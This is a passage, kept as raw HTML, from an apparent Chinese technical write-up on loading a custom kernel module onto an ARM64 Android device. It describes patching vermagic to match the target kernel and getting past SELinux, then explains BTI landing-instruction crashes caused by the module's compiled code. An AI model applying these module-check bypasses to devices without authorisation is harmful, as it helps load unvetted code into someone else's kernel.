style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="803" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">Exec format error</span></code></pre><p data-line="807" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">至于为什么修补没生效 —— 那是开发流程问题：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fixup_ko</span></code><span leaf=""> 的编译产物是旧的，还没包含 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vermagic</span></code><span leaf=""> 覆写逻辑。重新编译即可。</span></p><p data-line="809" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">带 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__versions</span></code><span leaf=""> 的模块，内核不关心版本号前缀，但后缀必须精确匹配。</span></p><p data-line="811" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">后缀由十几个 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CONFIG_</span></code><span leaf=""> 宏拼装而成，包含：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">架构标识</span></p></li><li><p><span leaf="">SMP</span></p></li><li><p><span leaf="">抢占模型</span></p></li><li><p><span leaf="">模块卸载支持</span></p></li><li><p><span leaf="">其他内核构建特征</span></p></li></ul><p data-line="819" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">跨设备、跨架构时，必须从目标设备的参考 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf=""> 中完整提取后缀，不能复用开发机的值。</span></p><p data-line="821" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">越过 SELinux 和 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vermagic</span></code><span leaf=""> 之后，模块终于进入了内核加载器的内部路径。</span></p><p data-line="823" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但迎接它的是更底层的 ARM64 安全机制 —— 这些特性由 CPU 和编译器联合强制执行。</span></p><h3 data-line="825" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">BTI、PAC与SCS</span></h3><p data-line="827" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 16：BTI —— 间接跳转的守门人</span></p><p data-line="829" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">BTI 全称为 Branch Target Identification。</span></p><p data-line="831" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">insmod</span></code><span leaf=""> 正常返回 0，但设备紧跟着直接重启。</span></p><p data-line="833" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pstore</span></code><span leaf=""> 中提取的崩溃日志显示，CPU 在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init_module</span></code><span leaf=""> 入口处触发了：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="835" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">Target Branch Exception</span></code></pre><p data-line="839" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ARMv8.5 引入了 BTI 硬件强制保护。</span></p><p data-line="841" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当一个间接跳转发生时，例如：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="843" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">BR  xN</span><span leaf=""><br/></span><span leaf="">BLR xN</span></code></pre><p data-line="848" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">CPU 会检查目标地址的第一条指令是否为合法的 BTI 着陆指令。</span></p><p data-line="850" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">常见 BTI 着陆指令包括：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">指令</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">用途</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bti c</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">用于间接函数调用</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bti j</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">用于间接跳转</span></p></td></tr></tbody></table><p data-line="857" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">若目标地址没有合法 BTI 指令，CPU 会立即触发异常。</span></p><p data-line="859" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核通过页表中的 GP，也就是 Guarded Page 位控制 BTI 的使能。</span></p><p data-line="861" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当开启：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="863" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">CONFIG_ARM64_BTI_KERNEL=y</span></code></pre><p data-line="867" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_enable_text_rox()</span></code><span leaf=""> 在设置模块 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><span leaf=""> 段为可执行时，会顺便通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PTE_MAYBE_GP</span></code><span leaf=""> 设置 GP 位：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="869" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// arch/arm64/mm/pageattr.c</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">set_memory_x</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> addr, </span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> numpages)</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> change_memory_common(addr, numpages,</span><span leaf=""><br/></span><span leaf="">                    __pgprot(PTE_MAYBE_GP),  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 设置 GP 位</span></span><span leaf=""><br/></span><span leaf="">                    __pgprot(PTE_PXN));</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="879" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这意味着一旦 GP 位置位，该段任何间接跳转的目标都必须经过 BTI 校验。</span></p><p data-line="881" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核调用模块初始化函数是通过函数指针完成的：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="883" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">mod-&gt;init()</span></code></pre><p data-line="887" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这是一个间接调用。</span></p><p data-line="889" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们的测试代码使用普通 NDK Clang 编译，默认不生成 BTI 着陆指令。</span></p><p data-line="891" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 GP 位打开的情况下，CPU 发现 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init_module</span></code><span leaf=""> 的头指令不是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="893" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">bti c</span></code></pre><p data-line="897" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe 